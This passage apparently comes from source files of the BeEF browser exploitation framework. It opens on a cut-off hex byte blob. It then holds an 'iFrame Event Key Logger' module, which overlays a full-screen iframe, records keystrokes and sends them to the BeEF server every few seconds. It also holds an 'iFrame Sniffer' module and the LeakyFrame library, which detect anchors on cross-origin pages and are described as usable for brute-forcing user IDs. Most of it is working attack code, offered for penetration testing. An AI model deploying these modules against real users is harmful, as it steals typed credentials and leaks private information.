xa3\xdf\xc8\x40\xe2\xe8\x1d\x84\xd1\x33\x16\xe0\xc8\xaf\x3f\x88\x2e\xe6\x3e\xf0\x6e\x5d\xfe\xf6\x9f\xa4\xbb\x6e\x56\xaa\x54\xf7\x2b\xe5\xf2\x72\x71\x73\x7a\xa0\x17\x40\xe8\x88\xa8\xa3\xfc\xb3\x8c\x7f\xe8\x6b\xa3\xb7\x07\xa4\xea\xe0\xb3\x2f\xe6\x04\x90\xd9\x9a\x91\x4e\x44\x23\x8a\xa9\xd4\xf3\x6f\x6c\x61\x3a\x40\x2e\xee\xe0\xf6\x56\xe8\xb4\xa1\x10\x41\xc5\x54\xaa\xaa\x9c\x3c\x1c\xcb\xfe\x01\x5e\xe1\x47\x11\x7d\xfd\x2d\x70\xf6\x1b\xc2\xeb\x49\x48\x56\x98\xf4\x3a\xee\xe1\xf2\x4f\x89\x47\x7e\xe2\x29\xeb\xab\x5a\x22\x38\xaa\xaa\xab\x51\x49\x8d\xe7\x8a\xfa\x38\x55\x89\xfd\x28\x1f\x1f\xaf\x5a\x27\x67\x47\xb2\x23\x8a\x20\xb8\x70\xd7\x33\xde\xc0\x6c\xbc\x7a\x51\x3e\xd2\x88\x2c\x6a\x90\xb1\x8c\x31\xf9\xc6\xc9\xf5\xe5\x2c\xaa\x50\xe6\x8b\x2c\x22\x4a\x07\x27\x90\x51\xdc\x24\x06\x42\x02\x63\x7a\x27\xe7\x97\x8b\x00\xaa\xe9\x47\x70\x68\x44\x55\xaf\xed\xef\xa0\xeb\x91\x89\x8e\x3b\x2b\xf2\x1a\x72\xf4\x3e\x13\xb8\x93\x8b\xe5\x1a\x6a\xad\xf7\x9a\x27\xee\x40\x6e\x7d\xb7\x87\x9a\xb9\xaa\xa6\xf4\xf3\xc6\xe4\xf9\xb7\xc2\x7d\xc8\x28\x2e\x41\x38\x96\x98\xdd\x53\x9a\x76\x1c\x87\xd6\x7c\x8d\x26\xbb\xc8\xca\x9f\xed\xed\xe9\x0a\x8d\x83\x83\xe0\x8e\xee\x43\x6a\xd0\x1b\xb2\x1e\xbf\xff\xbe\x7b\xff\xfe\xf7\xc7\xce\x8b\x0b\xb4\x4e\x5c\x14\x38\x7a\x38\x1e\x0b\xef\xfc\x13\x8a\xf2\x8b\x5b\x76\xa2\xa7\x1d\x81\xca\x6e\xdd\xbb\x01\x10\xcb\x42\xa3\x84\x45\x1d\x2e\x9e\xf7\xa4\x16\x81\xd7\x9f\xf9\x51\x74\xf3\x1a\xd0\xbe\x5e\xfe\x62\x9d\x15\xcd\xe2\xf5\xb2\xda\x77\xb5\x56\x50\xc5\x59\xf4\x8e\xf4\x6d\x7b\x4a\x5a\xf4\xce\x1a\x18\x8b\x4a\x71\xe0\xd7\x6f\x31\xed\x66\x05\xdc\x43\x47\xf0\x29\x55\xa4\x72\xb9\x06\x0f\x87\xab\xaf\x2f\x2a\xb2\x73\xad\x3f\xc6\x80\x7d\x76\xd1\x85\xb2\x26\x2f\x5d\x1f\x52\x35\xea\x75\x8f\xc4\x1e\x39\xb6\xaf\x07\xaf\xa9\x17\xb9\xa8\x0f\xbe\x8f\x4e\x64\x5b\xa0\x06\x91\x07\x8c\x0d\xc2\x9d\x2b\x8c\xbf\x14\x45\x7d\xfb\x1d\xbf\xb7\xbb\xb9\xb9\x0b\x6d\x92\x6a\x44\xaa\x6a\x71\x64\xcb\x0f\x98\xb6\x4c\xcb\x6c\x90\x40\x0e\x10\x6a\x0f\xe4\x15\x10\x8c\x8a\xf3\x59\xb0\x62\x03\xfa\x16\xa6\x6f\x9f\x67\x55\x54\x31\x75\xee\x41\x34\x34\x6c\x2e\x2c\x2a\x86\x44\x97\x9f\xac\x61\xcd\xfe\xa3\x1d\x38\xa8\xef\x55\x95\x8e\x03\xc4\x8e\x16\x73\x4f\x9d\x4a\x34\x56\x8d\x1a\x4b\x8b\x03\x3f\x3b\x16\xfc\x76\xd0\x17\x14\x21\x71\xf7\x6a\x6e\x8b\x70\x37\x31\x43\x94\xb3\x87\xcf\x40\xbd\x17\xa4\x5b\x2f\xb7\x18\xca\x72\x85\x34\x77\xf0\x4a\x00\xc8\x4c\x08\xa9\xce\xcd\x54\xa7\xe7\x46\xed\x35\xd3\xc7\xe3\xbd\x57\x9f\x43\x64\x50\x0f\x67\x8f\x9b\x05\xef\xd5\xad\xb3\x67\x62\xea\xb4\x71\x7c\xbe\x60\xa7\x20\x71\x52\xa3\x24\x39\x15\xe7\x0f\x6f\xe7\xf3\x42\xb8\x48\x74\x70\x14\x5c\xbd\xa6\x01\xe3\xea\x25\xf7\xea\x8f\x10\xe6\x12\xee\x90\x96\xe4\x95\x03\x10\x05\x84\x59\x7a\xc2\xca\xa4\xa8\x6e\x65\x1d\xc2\x22\x82\xf1\xf9\xdb\x2f\xe3\x60\xcc\x46\x3e\x72\xe0\x64\x72\x9a\x90\xc0\xd7\x13\xf3\xac\xa6\x01\x29\x19\xe7\xb1\xea\xab\x15\xb8\xf7\x77\x4b\x85\x59\x87\xfa\x0e\xf2\xe1\xa8\xda\xd0\x4e\x85\xe4\x13\x71\xa8\x2b\xca\x62\x7f\xca\x85\xda\x93\x81\x33\xb3\x2f\x91\xf1\x5d\x8c\xef\x45\xef\x9a\x14\x48\x64\xc3\x00\xb9\x06\x96\x94\x05\x5a\x8f\x4c\x1d\x9a\xcc\x76\xfc\xad\x6b\xbf\xc5\x9f\xee\xbf\x1b\xb9\x39\x79\xf8\xe0\xb3\x2f\xf9\x62\xef\xb1\x67\xda\xc9\x1e\x09\x27\x53\xb0\x61\xc3\x76\x7c\xf3\xd5\x47\x78\xfa\xd1\x3f\x09\x1f\x62\x34\xb5\x17\x37\xd4\xad\xbd\xac\x12\x59\x27\xf7\xf3\xb4\x16\x7d\x5d\x8d\x50\x47\x62\xbb\x3d\xb4\xe8\x47\x50\xc4\x9a\x62\x18\xd4\xec\x9b\x5c\xb5\x06\x69\x29\x5e\x79\x00\x21\x95\x40\xcd\x63\x04\xd5\x3a\x44\x8e\x18\x8a\x1f\xbe\xf9\x18\x61\xe1\xc2\xc8\xb3\xef\x56\xad\x45\x5a\x0a\x53\xab\x9d\x7b\x11\x93\xa0\xf8\x87\xc1\x88\xbd\xfb\x0f\xf1\x3f\xdf\x7c\xe3\x45\xdc\xbd\x6c\x91\xa0\xaa\x75\x24\x1c\x94\x0a\xe4\x67\xa6\x41\x5f\x5d\x86\xca\xd2\x0b\xb6\x7a\xad\xc9\x55\xbb\x41\x94\x18\x34\x6e\xf7\x33\x08\xa9\xe9\x12\xd9\x30\xf5\xd6\x8b\xa5\x10\x6f\x32\x57\x7f\x14\x1e\xce\x78\xe9\xd9\xa7\x10\x12\xda\xdc\x5d\x74\xf3\xf6\x5d\xc2\x8e\xdf\x75\xff\xa6\x4e\xec\x10\x33\x5f\xf4\x59\x79\xf9\x30\x32\x7b\x44\xc9\x1e\xff\x87\xd9\x33\xf1\xa7\x92\x70\x26\xe1\x2c\x78\xdb\x9b\x56\xbf\x42\x89\xba\xea\x6a\xd4\xe4\xa5\xa3\xb4\x20\x47\x18\xcb\x66\x1b\x44\xc1\xb5\x04\xc6\xdb\x19\xaf\x63\x9c\x24\x2d\xb9\xab\x43\x82\x50\x9f\xa5\xe1\x16\xa3\x7c\xd6\x38\x61\x54\x98\x85\xf2\x72\xf3\x91\x55\x70\x41\x18\x71\x76\x09\x64\x16\xd3\xdd\x89\x02\x06\xf9\xe3\xb6\x25\x0b\x05\x57\xab\xb9\xbd\xdd\x42\xf6\x47\xc1\xd9\x93\xa8\x2a\x29\xbd\x9c\x00\x31\x89\xb6\x04\x45\xa6\xa9\xe3\x39\xa5\x94\x53\xef\xdc\x97\x25\x70\x5c\x5d\x12\x84\xd2\xa6\x35\xdc\x53\xc4\x6c\x80\x05\xf3\x5b\x8f\x59\xbe\x50\x58\x8c\x3a\x4a\x4c\xec\x8d\xf4\xe0\x0b\x5e\xc6\xa5\x8f\xaf\x97\x27\x13\x0e\xcd\x5f\xf1\xae\x3b\x97\xe1\xfd\x2f\xbf\x45\x59\x49\x45\x6b\xf0\xd1\xfc\x41\x93\x09\x19\x67\xcf\x08\xb9\x58\xfd\x67\x7f\xd4\x89\x80\xa0\x26\xd0\xa4\x0f\x52\xcb\xfe\x54\x08\x25\x9f\x66\x69\x79\x5d\xbd\x00\xa1\x88\xb9\x3d\x1f\xa3\xe6\xee\x84\xe1\x11\x61\xad\x9e\xf4\x70\x77\x85\x3d\xed\xe2\x96\xb9\x80\xbd\x51\xb1\xd8\xfa\x8a\x08\x6f\xfd\xbe\x41\xc1\x83\x10\xe4\xe3\x85\xb2\xfc\x92\xd6\x53\x69\xf9\xc0\x5e\x23\xcc\x16\x50\xf6\x2d\x51\x24\x77\x2f\x04\x97\x2c\xd5\x5d\xd0\x18\xba\x32\x69\x29\x49\x00\x69\xab\x4a\x50\xc7\x65\xb8\xa8\x1d\xe0\xee\xe1\xde\xea\x49\xb2\x45\x82\x7d\x7d\x90\x9f\x9e\x27\x54\xc0\xf5\x78\x5f\xd6\xc3\xc9\xdf\x03\x37\x2f\x59\xd0\xda\xf0\x51\x28\x5a\x49\x94\xb6\x6a\x56\x1f\x83\x83\x3a\x16\xae\x66\xfc\x3f\x51\x62\x98\xa4\xe5\x23\xd9\x20\x9d\x51\xa9\xb8\x93\xf2\x1a\xc1\x8e\x68\xe1\x0d\x73\x85\x07\x1d\x97\x87\x76\x4e\x8d\x66\x2e\x0d\xee\x58\x30\x1f\xd3\xa6\x4d\x6c\xf5\x94\xc1\xa0\x67\x6c\x6c\x21\x65\xfa\x85\x28\xa9\x8f\x6a\xae\x67\x42\x98\x13\x9f\x28\x81\x43\x02\xc8\xc5\x88\xfa\xd2\x94\x93\xae\x5f\xa5\xab\x47\x79\x79\xfb\x79\x25\x0f\x3e\x70\x2f\x66\xcd\xbe\x06\xa8\xd1\x09\xd5\x6f\xdd\xb1\x3b\xea\x0d\xec\xfc\x7a\x2c\x5a\x3c\x07\xef\xbd\xf3\x72\xbb\x53\xb2\xb2\x72\x90\x55\x58\x28\xa8\x57\x7d\x4f\xb4\x01\x7c\x0b\x21\x56\xf1\x37\x48\x81\x3c\x09\x20\x3d\x20\xaa\x27\x48\x20\x57\xac\xae\xac\x1a\xa9\xa9\xed\x4b\x09\xdc\xdd\xdd\xf0\xcd\x7f\xdf\xc7\xe2\x25\xf3\x05\x5b\xa4\xb2\x4e\xc8\xad\x6a\x30\x0a\x63\x10\xc8\x05\x4c\x11\x72\x02\x45\x55\x3d\xdb\xa7\xeb\xe0\xe4\xa1\xc5\x93\x4f\xdc\x8f\xef\xbe\x59\x01\x4d\x07\x03\x2d\x7f\xfa\x79\x03\x2a\x2e\x94\xf7\xf5\x9c\x42\x0a\xd9\x53\x67\x0f\xea\xdc\x46\x9d\xd0\x25\xef\x93\x64\x83\xf4\x8a\x76\x31\x09\xb2\x88\x16\xfb\x9a\x5f\x37\xe1\x51\x1e\xed\x6e\x4d\x81\x41\x83\xb0\xf6\xe7\x2f\xb0\x7a\xf5\x06\xac\xfa\x71\x2d\x92\xd2\xcf\x21\xa7\xa4\x1c\x8d\xa4\x26\x91\x8a\xa4\x50\x71\x1b\x66\xc8\x20\x3f\x4c\x1a\x3b\x1a\xbf\xbf\xf7\x76\x4c\x98\x34\xb6\xc3\x0f\xcb\x3c\x9f\x8d\x1f\xd6\xae\x17\xa4\x51\xdf\x39\xa9\xc8\x0b\x45\xa2\x6b\x03\x6c\xab\xd7\x93\x44\x03\x10\x20\xbb\x41\x73\xed\x9c\xec\x7d\xf7\xc5\x9e\xc0\x3b\xef\xac\xc4\x93\x4f\xb6\x9f\xa3\x42\x46\xf5\x1d\x77\xdc\xc2\xf9\xdc\xb9\x4c\xa4\xa7\x9f\x47\x45\x45\x25\x1f\x99\xec\xee\xe6\x0a\x0f\x4f\x77\x44\x46\x45\xc0\xd5\xa5\xeb\x31\x7b\x4f\xfd\xed\x45\x24\x27\xa6\xf7\x2e\x32\xdf\x3d\x9b\x8a\xec\x0c\x9a\x6c\x54\x25\x2d\x0b\x89\xac\x01\x10\x52\x3d\x7e\x61\x52\xe4\x21\x32\xc4\x5f\x7e\xff\x63\x04\x31\x89\xd1\x32\x60\xd8\x96\x86\x0c\x09\xe1\xdc\x13\x2a\x2c\x2c\xc2\x83\x8f\xfc\x0d\xeb\x37\xec\xe4\x39\x5a\x7d\x20\x3d\x48\x5a\xfc\x9d\x71\xb2\xb4\x1c\x24\xb2\x96\x0d\x62\x21\x9a\x83\x9e\x47\xae\x5c\xb2\x0d\xee\xfb\xcb\x33\x78\xed\xb5\xf7\xd0\x50\x6f\x9d\x6e\xf8\xdf\x7f\xbf\x0e\xb3\x17\xdc\x86\xf5\xeb\xb6\x0b\x19\xc1\xd6\x0d\x00\x92\x67\x81\x44\xde\x52\x09\x1c\x12\xf5\x85\x04\x21\x4a\x63\xfc\x3c\xa8\x71\x83\xa3\xbd\xa2\x96\x19\xec\xcf\xbd\xf2\x0e\xd6\x6f\xd9\x8e\x3f\xdf\x77\x17\xe6\xcf\x9b\x85\x41\x81\x01\x3d\x7a\xc3\x73\xe9\x99\xd8\xbd\x67\x1f\x56\xfd\xb4\x0e\xfb\x8e\x27\x0a\xf5\x20\x2e\x56\x6f\x0a\x77\x8c\xf1\x83\x8c\x8f\x4b\x4b\x40\xa2\xbe\x04\x08\x11\xb5\xfd\xf1\x65\x46\xf7\x6b\xbc\x0e\xdc\x64\xc6\xd1\xd8\x93\x38\x9a\x98\x82\xb0\x60\x7f\x8c\x1f\x19\x8d\x11\xd1\x91\x18\x3d\x2a\x0a\x61\x61\x21\x70\x73\x75\xe5\x1e\x2a\xbd\x5e\xcf\x39\x37\xb7\x00\xc9\xc9\x67\x91\x74\x86\x71\x4a\x2a\x4e\x26\xa7\x20\x27\xfb\x82\xe0\xdd\xa2\x79\xe3\x5a\xab\xdb\x1c\x5f\x33\x7e\x12\xb6\xd1\xae\x5f\xa2\xab\x00\x20\x44\xd4\xcd\x8f\xf2\x92\x5e\x63\x6a\x90\x06\x2e\x1a\x1e\x20\x4c\x4f\x39\x8f\xf4\xa4\x0c\xfc\x68\xb7\x05\x0a\xad\x9a\xad\x77\x3b\xa8\x14\x0a\xb8\x69\x9d\xa0\x6b\xd0\xa3\x96\xa9\x62\x06\xa3\x09\xb5\x34\x0f\xa4\x5a\x27\x04\x09\xa9\x87\x16\xa9\x53\x2e\x2a\x6b\x07\x03\xa9\xe6\xe2\x25\x08\x23\x8b\x25\x92\xa8\x5f\x01\x42\xf4\x3e\x04\x37\xe9\xab\x6c\x61\x4f\xe3\x69\x1f\x4e\xe2\xee\xcf\xd6\x79\x63\xbd\x1e\x55\x75\x42\x43\x8a\xd2\xc2\x32\xb1\xa9\x9c\x68\x53\x58\xfa\x5f\xb5\x34\x31\xac\x0b\x0e\x02\xef\x63\x10\x66\x81\x4b\x24\xd1\x65\x01\x08\x11\xb5\xaa\xa1\x1c\x13\x0a\xb2\xdd\x0d\xa1\xc5\x7e\x50\x53\x9e\x94\x25\xbe\xa7\xea\xd7\x86\x04\xa4\x4a\xdd\x07\xc1\x5b\x25\x91\x44\x97\x15\x20\x44\xd4\x43\x89\x8a\x83\x7e\xe1\xe0\x00\x46\x30\x9e\xc2\x78\xa4\x08\x18\xbf\x7e\xfc\x7d\xe4\xa9\xa2\x7a\xef\x4d\xd2\xad\x96\xc8\x56\x00\xd2\xa4\x24\x41\x68\x6c\x9d\x25\x2e\x50\x92\x23\x34\xf9\xf6\x76\xc6\x7f\x61\x3c\xb8\x1f\x24\x87\x04\x0e\x89\x2e\x89\xfa\x73\x86\x19\x01\x86\x3a\xff\x7d\x00\xa1\x9e\xfd\x97\x3e\x96\x1c\xf7\x48\xe0\x90\x68\x20\x01\xa4\x25\x65\x89\x92\x84\x7a\x6a\x59\xbb\xd8\x88\xba\x36\xdc\x89\x8b\x4f\x5a\x92\x48\x22\x9b\x05\x08\x11\x75\x93\x7b\x8f\xf1\x7c\x2b\xee\xf4\xd4\x4e\x87\xaa\xac\xb6\x4a\xb7\x56\xa2\x81\x0e\x10\x0b\x1d\x65\xbc\x04\x42\x83\x03\x72\xc3\x9e\x43\xe7\x13\x58\x3b\x23\x1a\x1b\x46\xc9\x86\x34\x71\x37\x5e\xba\xad\x12\x0d\x04\x23\xbd\x27\x44\xa9\xe5\x7b\x44\x26\x2f\x57\x14\x84\x81\x94\x43\x19\x87\x33\xa6\x7c\x15\x67\x34\xb7\xb4\x26\x00\xe5\x41\x28\x7d\xa5\x21\xf6\xbb\x20\x15\x34\x49\xd4\x07\xf4\xff\x05\x18\x00\x7c\x62\x9e\xd7\xaf\x91\x9f\x33\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/iframe_keylogger/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// logged keystrokes array
var stream = new Array();
// add the pressed key to the keystroke stream array
function keyPressHandler(evt) {
evt = evt || window.event;
if (evt) {
var keyCode = evt.charCode || evt.keyCode;
charLogged = String.fromCharCode(keyCode);
stream.push(charLogged);
}
}
// creates the overlay 100% width/height iFrame
overlay = beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
if(beef.browser.isIE()){
// listen for keypress events on the iFrame
function setKeypressHandler(windowOrFrame, keyHandler) {
var doc = windowOrFrame.document;
if (doc) {
if (doc.attachEvent) {
doc.attachEvent(
'onkeypress',
function () {
keyHandler(windowOrFrame.event);
}
);
}
else {
doc.onkeypress = keyHandler;
}
}
}
setKeypressHandler(window.frames.overlayiframe, keyPressHandler);
}else{
document.getElementById('overlayiframe').contentWindow.addEventListener('keypress', keyPressHandler, true);
}
// every N seconds send the keystrokes back to BeEF
setInterval(function queue() {
var keystrokes = "";
if (stream.length > 0) {
for (var i = 0; i < stream.length; i++) {
keystrokes += stream[i] + "";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "keystrokes=" + keystrokes);
stream = new Array();
}
}, <%= @sendBackInterval %>)
}); |
YAML | beef/modules/misc/iframe_keylogger/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
iframe_keylogger:
enable: true
category: "Misc"
name: "iFrame Event Key Logger"
description: "Creates a 100% by 100% iFrame overlay with event logging. The content of the overlay is set in the 'iFrame Src' option."
authors: ["antisnatchor"]
target:
working: "All"
not_working: "O" |
Ruby | beef/modules/misc/iframe_keylogger/module.rb | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Iframe_keylogger < BeEF::Core::Command
def self.options
[
{ 'name' => 'iFrameSrc', 'ui_label' => 'iFrame Src', 'type' => 'textarea', 'value' => '/demos/secret_page.html', 'width' => '400px', 'height' => '50px' },
{ 'name' => 'sendBackInterval', 'ui_label' => 'Send Back Interval (ms)', 'value' => '2000', 'width' => '100px' }
]
end
def post_execute
content = {}
content['keystrokes'] = @datastore['keystrokes']
save content
end
end |
JavaScript | beef/modules/misc/iframe_sniffer/command.js | //
// Copyright (c) 2006-2023Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var inputURL = '<%= @inputUrl %>';
var anchorsToCheck = '<%= @anchorsToCheck %>';
var arrayOfAnchorsToCheck = [];
//the anchors should be seperated with ','
//remove tabs, newlines, carriage returns and spaces
anchorsToCheck = anchorsToCheck.replace(/[ \t\r\n]/g,'');
arrayOfAnchorsToCheck = anchorsToCheck.split(',');
var resultList = [];
var resultString = '';
//check if the leakyframe library is loaded
//if not add it to the DOM
if (typeof LeakyFrame !== 'function'){
var leakyscript = document.createElement('script');
leakyscript.setAttribute('type', 'text/javascript');
leakyscript.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/leakyframe.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(leakyscript, theparent.firstChild);
}
var timeout = 100;
//give the DOM some time to load the library
poll = function(){
setTimeout(function(){
timeout--;
if (typeof LeakyFrame === 'function') {
new LeakyFrame(inputURL,
function(frame){
//check each anchor
for (var anchor = 0; anchor < arrayOfAnchorsToCheck.length; anchor++){
if (frame.checkID(arrayOfAnchorsToCheck[anchor])){
resultList.push('Exists');
}
else{
resultList.push('Does not exist');
}
}
frame.remove();
//create the resultstring
for (var i = 0; i < resultList.length; i++){
resultString = resultString + '#' + arrayOfAnchorsToCheck[i] + ' ' + resultList[i] + '; ';
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result: ' + resultString);
},false);
}
else if (timeout > 0){
poll();
}
else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'time-out occured!');
}
}, 100);
};
poll();
}); |
YAML | beef/modules/misc/iframe_sniffer/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
iframe_sniffer:
enable: true
category: "Misc"
name: "iFrame Sniffer"
description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a URL.<br />For more information, refer to <a href='https://www.contextis.com/en/blog/framesniffing-against-sharepoint-and-linkedin'>https://www.contextis.com/en/blog/framesniffing-against-sharepoint-and-linkedin</a>"
authors: ["Bart Leppens"]
target:
working: ["S", "IE"]
not_working: ["ALL"] |
JavaScript | beef/modules/misc/iframe_sniffer/leakyframe.js | /**
* LeakyFrame JS Library
*
* Copyright (c) 2012 Paul Stone
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of this
* software and associated documentation files (the "Software"), to deal in the Software
* without restriction, including without limitation the rights to use, copy, modify,
* merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be included in all copies
* or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
* PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
/*
This JS library can be used to easily try out the Framesniffing (aka Frame Leak, aka Anchor Element Position Detection) technique.
Currently (as of Mar 2012) the technique works in IE8, IE9 and most
webkit-based browsers.
Example usage:
new LeakyFrame('http://example.com', function(frame) {
if (frame.checkID('login-form')) {
alert("You're not logged in");
frame.remove();
return;
}
var anchors = {'foo', 'bar', 'baz'};
var frags = frame.findFrags(anchors);
alert('Found the following anchors on the page: ' + frags.join(', '));
}
Redirects
---------
Make sure that the URL you're loading doesn't redirect to a different URL,
as this can break anchor checking in some browsers and will slow down
checks for multiple anchors (e.g. brute-forcing).
E.g. You create LeakyFrame with http://foo.com/somepage and it redirects
to http://foo.com/somepage?98723945
The reason for this is that the JS code can't know the URL that the frame
has redirected to (due to same-origin policy). When changing the #fragment
at the end of the URL to check for an anchor, the entire URL must be
reset using window.location. So if a redirect has occurred, the original
URL will be loaded in the iframe, causing a full page load and another
redirect to occur.
Some browsers will preserve URL fragments across page redirects (Chrome
does, and I think IE10 does now too). For those browsers you can create
a LeakyFrame and pass in a URL with an fragment already on the end, then
call frame.nonZero() to see if a scroll has occurred. The findManyMatchingURLs
and findFirstMatchingURL methods should also work with redirects.
*/
/**
* Creates a new LeakyFrame object
*
* This constructor creates a nested iframes and loads 'url' into the inner one
* The outer frame is 10x10, and the inner frame 1000x10,000px to force the outer
* frame to scroll when checking for anchors.
*
* @param url - URL to load into the iframe.
* @param callback - A function that will be called when the frame has loaded. The
* the callback function will be passed the newly created LeakyFrame object
* @param debug - If true, the created frames will be made visible and outer
* frame will be made larger (140x140)
*/
function LeakyFrame(url, callback, debug) {
var outer = document.createElement('iframe');
outer.setAttribute('frameBorder', '0');
outer.setAttribute('scrolling', 'no')
document.body.appendChild(outer);
outer.contentWindow.document.open();
outer.contentWindow.document.close();
var inner = outer.contentWindow.document.createElement('iframe');
inner.setAttribute('frameBorder', '0');
outer.contentWindow.document.body.style.margin = 0;
outer.contentWindow.document.body.style.padding = 0;
inner.setAttribute('style', 'margin:0; border:none;overflow:hidden;position:absolute; left:0px;top:0px;width:1000px;height:10000px;background-color:white;');
if (!debug)
outer.setAttribute('style', 'border:none;opacity:0');
outer.contentWindow.document.body.appendChild(inner);
outer.width = 10;
outer.height = 10;
if (debug) {
outer.width=140;
outer.height=140;
}
this.outer = outer; // outer iframe element
this.inner = inner; // inner iframe element
this.innerWin = inner.contentWindow; // window object of outer iframe
this.outerWin = outer.contentWindow; // window object of inner iframe
this.outerDoc = outer.contentWindow.document; // document of outer iframe
this.removed = false;
if (callback)
this.load(url, callback);
}
/**
* Load a new URL into the inner iframe and do a callback when it's loaded
*/
LeakyFrame.prototype.load = function(url, callback) {
this.inner.contentWindow.location = url;
var me = this;
var f = {};
f.fn = function() {
if (me.inner.removeEventListener)
me.inner.removeEventListener('load', f.fn);
else if (me.inner.detachEvent)
me.inner.detachEvent('onload', f.fn);
me.currentURL = me._stripFragment(url);
if (callback)
callback(me);
}
if (this.inner.addEventListener)
this.inner.addEventListener('load', f.fn, false);
else if (this.inner.attachEvent)
this.inner.attachEvent('onload', f.fn);
}
/**
* Find the current scroll position of the outer iframe
* (should correspond to the position of the current anchor
* in the inner iframe)
* @return object with .x and .y properties
*/
LeakyFrame.prototype.getPos = function() {
var x = this.outerDoc.body.scrollLeft;
var y = this.outerDoc.body.scrollTop;
return {x:x, y:y};
}
/**
* Reset the scroll position of the iframe
*/
LeakyFrame.prototype.resetPos = function() {
this.outerWin.scrollTo(0,0);
}
/**
* Checks if the iframe has scrolled after being reset
*/
LeakyFrame.prototype.nonZero = function() {
var pos = this.getPos();
return (pos.x > 0 || pos.y > 0);
};
/**
* Check if anchor 'id' exists on the currently loaded page
* This works by first resetting the scroll position, adding
* #id onto the end of the current URL and then seeing if
* the scroll position has changed.
*
* Optional parameters x and y specify the initial scroll
* position and default to 0. Useful in some cases where
* weird scrolling behaviour causes the page to scroll to
* (0,0) if an anchor is found.
*
* @return boolean - true if the anchor exists
*/
LeakyFrame.prototype.checkID = function(id, x, y) {
if (!x) x = 0;
if (!y) y = 0;
this.outerWin.scrollTo(x,y);
this.innerWin.location = this.currentURL + '#' + id;
var result = this.getPos();
return (result.x != x || result.y != y);
}
/**
* Given an array of ids, will check the current page to see which
* corresponding anchors exist. It will return a dictionary of
* positions for each matched anchor.
*
* This can be incredibly quick in some browsers (checking 10s or
* 100s of IDs per second), so could be used for things like
* brute-forcing things like numeric user IDs or lists of product
* codes.
*
* @param ids - an array of IDs to be checked
* @param templ - optional template which is used to make the URL
* fragment. If the template is 'prod{id}foo' and you pass in the
* array [5,6,7], then it will check for anchors:
* prod5foo, prod6foo and prod7foo
* @return a dictionary containing matched IDs as keys and an
* array [x,y] as values
*/
LeakyFrame.prototype.findFragPositions = function(ids, templ) {
this.outerWin.scrollTo(0,0);
if (templ) {
var newids = [];
for (var i = 0; i < ids.length; i++)
newids.push(templ.replace('{id}', ids[i]));
} else {
newids = ids;
}
var positions = {};
for (var i = 0; i < ids.length; i++) {
var id = newids[i];
//this.outerWin.scrollTo(0,0);
this.innerWin.location = this.currentURL + '#' + id;
var x = this.outerDoc.body.scrollLeft;
var y = this.outerDoc.body.scrollTop;
if (x || y) {
positions[ids[i]] = [x, y];
this.outerWin.scrollTo(0,0);
}
}
return positions;
}
/**
* Same as findFragPositions but discards the positions
* and returns only an array of matched IDs.
*/
LeakyFrame.prototype.findFrags = function(ids, templ) {
var found = this.findFragPositions(ids, templ);
var ids = [];
for (var id in found)
ids.push(id);
return ids;
}
LeakyFrame.prototype._stripFragment = function(url) {
var pos = url.indexOf('#');
if (pos < 0) return url;
this.loadFrag = url.substr(pos+1);
return url.substr(0, pos)
}
/**
* Removes the iframe from the document.
* If you're creating lots of LeakyFrame instances
* you should call this once you're done with each
* frame to free up memory.
*/
LeakyFrame.prototype.remove = function() {
if (this.removed) return;
this.outer.parentNode.removeChild(this.outer);
this.removed = true;
}
/**
* Load a bunch of URLs to find which ones have a matching fragment
* (i.e. cause the page to scroll). (static method)
*
* @param url - a base URL to check with {id} where id will go
* (e.g http://www.foo.com/userprofile/{id}#me)
* @param ids - dictionary of key:value pairs. the keys will be
* used to replace {id} in each url
* @param callback - a function that gets called when an id is found.
* It gets passed the matching key and value
* @param finishedcb - a function that gets called when all the urls
* have been checked. It gets passed true if any URLs were matched
*/
LeakyFrame.findManyMatchingURLs = function(url, ids, callback, finishedcb, stopOnFirst) {
var maxConcurrent = 3;
var inProgress = 0;
var todo = [];
var interval;
var loadCount = 0;
var allFound = {};
var allPositions = {};
var framePool = {};
var found = 0;
var cancelled = false;
for (var key in ids) {
todo.push(key);
loadCount++;
}
var cancel = function() {
cancelled = true;
for (var i in framePool)
framePool[i].remove();
